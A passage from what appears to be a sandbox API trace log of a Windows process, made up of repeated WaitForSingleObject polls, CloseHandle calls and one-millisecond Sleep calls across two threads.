dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0139.561] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x20c, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0x0) returned 0x102 [0139.562] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0x0) returned 0x102 [0139.562] Sleep (dwMilliseconds=0x1) [0139.790] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x0) returned 0x0 [0139.790] CloseHandle (hObject=0x18c) returned 1 [0139.790] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x0) returned 0x0 [0139.790] CloseHandle (hObject=0x188) returned 1 [0139.790] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x0 [0139.790] CloseHandle (hObject=0x1a4) returned 1 [0139.790] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x0 [0139.790] CloseHandle (hObject=0x1a0) returned 1 [0139.790] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0139.790] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x0 [0139.791] CloseHandle (hObject=0x1c8) returned 1 [0139.791] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x0 [0139.791] CloseHandle (hObject=0x1cc) returned 1 [0139.791] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x0 [0139.791] CloseHandle (hObject=0x1d0) returned 1 [0139.791] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x0 [0139.791] CloseHandle (hObject=0x1d4) returned 1 [0139.791] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x102 [0139.791] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0139.791] CloseHandle (hObject=0x200) returned 1 [0139.791] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x0 [0139.792] CloseHandle (hObject=0x204) returned 1 [0139.792] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x0 [0139.792] CloseHandle (hObject=0x208) returned 1 [0139.792] WaitForSingleObject (hHandle=0x20c, dwMilliseconds=0x0) returned 0x0 [0139.792] CloseHandle (hObject=0x20c) returned 1 [0139.792] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0x0) returned 0x0 [0139.792] CloseHandle (hObject=0x210) returned 1 [0139.792] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0139.792] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0x0) returned 0x102 [0139.792] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x102 [0139.792] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0139.792] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0139.792] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0139.792] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0x0) returned 0x0 [0139.792] CloseHandle (hObject=0x22c) returned 1 [0139.792] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x102 [0139.792] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x0 [0139.792] CloseHandle (hObject=0x234) returned 1 [0139.792] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0x0) returned 0x0 [0139.792] CloseHandle (hObject=0x238) returned 1 [0139.792] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0x0) returned 0x0 [0139.793] CloseHandle (hObject=0x23c) returned 1 [0139.793] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x248, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x26c, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x270, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x278, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x280, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x288, dwMilliseconds=0x0) returned 0x102 [0139.793] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x294, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x29c, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2a0, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2a4, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2a8, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2ac, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2b0, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2b4, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2bc, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2c0, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2c4, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2c8, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2cc, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2d0, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2dc, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2e0, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2e4, dwMilliseconds=0x0) returned 0x102 [0139.794] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x2f0, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x2f4, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x2f8, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x2fc, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x300, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x304, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x30c, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x310, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x314, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x31c, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x320, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x324, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x32c, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x330, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x334, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0x0) returned 0x102 [0139.795] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x340, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x34c, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x350, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x35c, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x360, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x368, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x36c, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x378, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x388, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x38c, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x390, dwMilliseconds=0x0) returned 0x102 [0139.796] WaitForSingleObject (hHandle=0x394, dwMilliseconds=0x0) returned 0x102 [0139.797] Sleep (dwMilliseconds=0x1) [0140.050] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x180, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x20c, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x0 [0140.050] CloseHandle (hObject=0x19c) returned 1 [0140.050] WaitForSingleObject (hHandle=0x198, dwMilliseconds=0x0) returned 0x0 [0140.050] CloseHandle (hObject=0x198) returned 1 [0140.050] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x194, dwMilliseconds=0x0) returned 0x0 [0140.050] CloseHandle (hObject=0x194) returned 1 [0140.050] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x1b4, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x1b8, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x1bc, dwMilliseconds=0x0) returned 0x102 [0140.050] WaitForSingleObject (hHandle=0x1c0, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1cc, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1c8, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1a0, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x188, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0x0) returned 0x102 [0140.051] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x18c, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x398, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x39c, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x248, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x250, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x254, dwMilliseconds=0x0) returned 0x0 [0140.052] CloseHandle (hObject=0x254) returned 1 [0140.052] WaitForSingleObject (hHandle=0x258, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x260, dwMilliseconds=0x0) returned 0x102 [0140.052] WaitForSingleObject (hHandle=0x264, dwMilliseconds=0x0) returned 0x0 [0140.052] CloseHandle (hObject=0x264) returned 1 [0140.053] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x0) returned 0x0 [0140.053] CloseHandle (hObject=0x268) returned 1 Thread: id = 1603 os_tid = 0x6f0 [0129.119] Sleep (dwMilliseconds=0x1) [0129.142] Sleep (dwMilliseconds=0x1) [0129.143] Sleep (dwMilliseconds=0x1) [0129.148] Sleep (dwMilliseconds=0x1) [0129.151] Sleep (dwMilliseconds=0x1) [0129.158] Sleep (dwMilliseconds=0x1) [0129.183] Sleep (dwMilliseconds=0x1) [0129.235] Sleep (dwMilliseconds=0x1) [0129.313] Sleep (dwMilliseconds=0x1) [0129.415] Sleep (dwMilliseconds=0x1) [0129.601] Sleep (dwMilliseconds=0x1) [0129.677] Sleep (dwMilliseconds=0x1) [0129.745] Sleep (dwMilliseconds=0x1) [0129.807] Sleep (dwMilliseconds=0x1) [0129.818] Sleep (dwMilliseconds=0x1) [0129.857] Sleep (dwMilliseconds=0x1) [0129.891] Sleep (dwMilliseconds=0x1) [0129.926] Sleep (dwMilliseconds=0x1) [0130.015] Sleep (dwMilliseconds=0x1) [0130.085] Sleep (dwMilliseconds=0x1) [0130.128] Sleep (dwMilliseconds=0x1) [0130.168] Sleep (dwMilliseconds=0x1) [0130.210] Sleep (dwMilliseconds=0x1) [0130.225] Sleep (dwMilliseconds=0x1) [0130.234] Sleep (dwMilliseconds=0x1) [0130.235] Sleep (dwMilliseconds=0x1) [0130.267] Sleep (dwMilliseconds=0x1) [0130.293] Sleep (dwMilliseconds=0x1) [0130.341] Sleep (dwMilliseconds=0x1) [0130.367] Sleep (dwMilliseconds=0x1) [0130.397] Sleep (dwMilliseconds=0x1) [0130.426] Sleep (dwMilliseconds=0x1) [0130.447] Sleep (dwMilliseconds=0x1) [0130.515] Sleep (dwMilliseconds=0x1) [0130.526] Sleep (dwMilliseconds=0x1) [0130.564] Sleep (dwMilliseconds=0x1) [0130.567] Sleep (dwMilliseconds=0x1) [0130.590] Sleep (dwMilliseconds=0x1) [0130.603] Sleep (dwMilliseconds=0x1) [0130.620] Sleep (dwMilliseconds=0x1) [0130.641] Sleep (dwMilliseconds=0x1) [0130.647] Sleep (dwMilliseconds=0x1) [0130.651] Sleep (dwMilliseconds=0x1) [0130.673] Sleep (dwMilliseconds=0x1) [0130.690] Sleep (dwMilliseconds=0x1) [0130.738] Sleep (dwMilliseconds=0x1) [0130.755] Sleep (dwMilliseconds=0x1) [0130.775] Sleep (dwMilliseconds=0x1) [0130.784] Sleep (dwMilliseconds=0x1) [0130.785] Sleep (dwMilliseconds=0x1) [0130.786] Sleep (dwMilliseconds=0x1) [0130.790] Sleep (dwMilliseconds=0x1) [0130.852] Sleep (dwMilliseconds=0x1) [0130.859] Sleep (dwMilliseconds=0x1) [0130.877] Sleep (dwMilliseconds=0x1) [0130.888] Sleep (dwMilliseconds=0x1) [0130.888] Sleep (dwMilliseconds=0x1) [0130.889] Sleep (dwMilliseconds=0x1) [0130.890] Sleep (dwMilliseconds=0x1) [0130.892] Sleep (dwMilliseconds=0x1) [0130.893] Sleep (dwMilliseconds=0x1) [0130.894] Sleep (dwMilliseconds=0x1) [0130.898] Sleep (dwMilliseconds=0x1) [0130.899] Sleep (dwMilliseconds=0x1) [0130.900] Sleep (dwMilliseconds=0x1) [0130.901] Sleep (dwMilliseconds=0x1) [0130.902] Sleep (dwMilliseconds=0x1) [0130.903] Sleep (dwMilliseconds=0x1) [0130.905] Sleep (dwMilliseconds=0x1) [0131.189] Sleep (dwMilliseconds=0x1) [0131.249] Sleep (dwMilliseconds=0x1) [0131.353] Sleep (dwMilliseconds=0x1) [0131.354] Sleep (dwMilliseconds=0x1) [0131.402] Sleep (dwMilliseconds=0x1) [0131.434] Sleep (dwMilliseconds=0x1) [0131.550] Sleep (dwMilliseconds=0x1) [0131.696] Sleep (dwMilliseconds=0x1) [0131.731] Sleep (dwMilliseconds=0x1) [0131.740] Sleep (dwMilliseconds=0x1) [0132.016] Sleep (dwMilliseconds=0x1) [0132.116] Sleep (dwMilliseconds=0x1) [0132.124] Sleep (dwMilliseconds=0x1) [0132.148] Sleep (dwMilliseconds=0x1) [0132.158] Sleep (dwMilliseconds=0x1) [0132.423] Sleep (dwMilliseconds=0x1) [0132.558] Sleep (dwMilliseconds=0x1) [0132.680] Sleep (dwMilliseconds=0x1) [0132.700] Sleep (dwMilliseconds=0x1) [0132.902] Sleep (dwMilliseconds=0x1) [0132.936] Sleep (dwMilliseconds=0x1) [0132.961] Sleep (dwMilliseconds=0x1) [0133.345] Sleep (dwMilliseconds=0x1) [0133.503] Sleep (dwMilliseconds=0x1) [0133.798] Sleep (dwMilliseconds=0x1) [0133.828] Sleep (dwMilliseconds=0x1) [0133.862] Sleep (dwMilliseconds=0x1) [0133.899] Sleep (dwMilliseconds=0x1) [0133.956] Sleep (dwMilliseconds=0x1) [0134.041] Sleep (dwMilliseconds=0x1) [0134.061] Sleep (dwMilliseconds=0x1) [0134.111] Sleep (dwMilliseconds=0x1) [0134.264] Sleep (dwMilliseconds=0x1) [0134.370] Sleep (dwMilliseconds=0x1) [0134.399] Sleep (dwMilliseconds=0x1) [0134.417] Sleep (dwMilliseconds=0x1) [0134.585] Sleep (dwMilliseconds=0x1) [0134.669] Sleep (dwMilliseconds=0x1) [0134.707] Sleep (dwMilliseconds=0x1) [0134.897] Sleep (dwMilliseconds=0x1) [0135.081] Sleep (dwMilliseconds=0x1) [0135.179] Sleep (dwMilliseconds=0x1) [0135.460] Sleep (dwMilliseconds=0x1) [0135.600] Sleep (dwMilliseconds=0x1) [0135.671] Sleep (dwMilliseconds=0x1) [0135.713] Sleep (dwMilliseconds=0x1) [0135.746] Sleep (dwMilliseconds=0x1) [0135.772] Sleep (dwMilliseconds=0x1) [0135.829] Sleep (dwMilliseconds=0x1) [0135.901] Sleep (dwMilliseconds=0x1) [0135.986] Sleep (dwMilliseconds=0x1) [0136.027] Sleep (dwMilliseconds=0x1) [0136.055] Sleep (dwMilliseconds=0x1) [0136.094] Sleep (dwMilliseconds=0x1) [0136.117] Sleep (dwMilliseconds=0x1) [0136.275] Sleep (dwMilliseconds=0x1) [0136.465] Sleep (dwMilliseconds=0x1) [0136.485] Sleep (dwMilliseconds=0x1) [0136.513] Sleep (dwMilliseconds=0x1) [0136.524] Sleep (dwMilliseconds=0x1) [0136.557] Sleep (dwMilliseconds=0x1) [0136.785] Sleep (dwMilliseconds=0x1) [0136.886] Sleep (dwMilliseconds=0x1) [0137.436] Sleep (dwMilliseconds=0x1) [0137.477] Sleep (dwMilliseconds=0x1) [0137.508] Sleep (dwMilliseconds=0x1) [0137.639] Sleep (dwMilliseconds=0x1) [0137.701] Sleep (dwMilliseconds=0x1) [0137.783] Sleep (dwMilliseconds=0x1) [0137.955] Sleep (dwMilliseconds=0x1) [0138.186] Sleep (dwMilliseconds=0x1) [0138.282] Sleep (dwMilliseconds=0x1) [0138.306] Sleep (dwMilliseconds=0x1) [0138.525] Sleep (dwMilliseconds=0x1) [0138.542] Sleep (dwMilliseconds=0x1) [0138.619] Sleep (dwMilliseconds=0x1) [0138.678] Sleep (dwMilliseconds=0x1) [0138.730] Sleep (dwMilliseconds=0x1) [0138.757] Sleep (dwMilliseconds=0x1) [0138.829] Sleep (dwMilliseconds=0x1) [0138.854] Sleep (dwMilliseconds=0x1) [0138.905] Sleep (dwMilliseconds=0x1) [0138.929] Sleep (dwMilliseconds=0x1) [0138.965] Sleep (dwMilliseconds=0x1) [0139.019] Sleep (dwMilliseconds=0x1) [0139.036] Sleep (dwMilliseconds=0x1) [0139.053] Sleep (dwMilliseconds=0x1) [0139.070] Sleep (dwMilliseconds=0x1) [0139.110] Sleep (dwMilliseconds=0x1) [0139.168] Sleep (dwMilliseconds=0x1) [0139.194] Sleep (dwMilliseconds=0x1) [0139.199] Sleep (dwMilliseconds=0x1) [0139.218] Sleep (dwMilliseconds=0x1) [0139.233] Sleep (dwMilliseconds=0x1) [0139.250] Sleep (dwMilliseconds=0x1) [0139.266] Sleep (dwMilliseconds=0x1) [0139.283] Sleep (dwMilliseconds=0x1) [0139.293] Sleep (dwMilliseconds=0x1) [0139.314] Sleep (dwMilliseconds=0x1) [0139.336] Sleep (dwMilliseconds=0x1) [0139.366] Sleep (dwMilliseconds=0x1) [0139.374] Sleep (dwMilliseconds=0x1) [0139.391] Sleep (dwMilliseconds=0x1) [0139.419] Sleep (dwMilliseconds=0x1) [0139.443] Sleep (dwMilliseconds=0x1) [0139.454] Sleep (dwMilliseconds=0x1) [0139.476] Sleep (dwMilliseconds=0x1) [0139.563] Sleep (dwMilliseconds=0x1) [0139.797] Sleep (dwMilliseconds=0x1) [0140.053] Sleep (dwMilliseconds=0x1) [0140.271] Sleep (dwMilliseconds=0x1) [0140.627] Sleep (dwMilliseconds=0x1) [0140.852] Sleep (dwMilliseconds=0x1) [0141.186] Sleep (dwMilliseconds=0x1) [0141.614] Sleep (dwMilliseconds=0x1) [0141.994] Sleep (dwMilliseconds=0x1) [0142.542] Sleep (dwMilliseconds=0x1) [0143.130] Sleep (dwMilliseconds=0x1) [0143.537] Sleep (dwMilliseconds=0x1) [0143.955] Sleep (dwMilliseconds=0x1) [0144.679] Sleep (dwMilliseconds=0x1) [0145.124] 